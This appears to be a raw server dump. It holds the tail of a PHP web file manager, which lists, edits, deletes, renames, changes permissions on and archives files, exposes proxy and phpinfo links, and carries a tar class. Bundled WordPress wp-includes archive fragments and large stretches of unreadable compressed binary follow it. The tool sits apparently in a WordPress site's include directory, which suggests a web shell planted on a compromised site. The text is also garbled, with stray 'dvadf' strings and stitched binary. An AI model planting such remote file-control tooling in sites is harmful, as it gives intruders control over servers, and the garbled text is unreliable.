    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
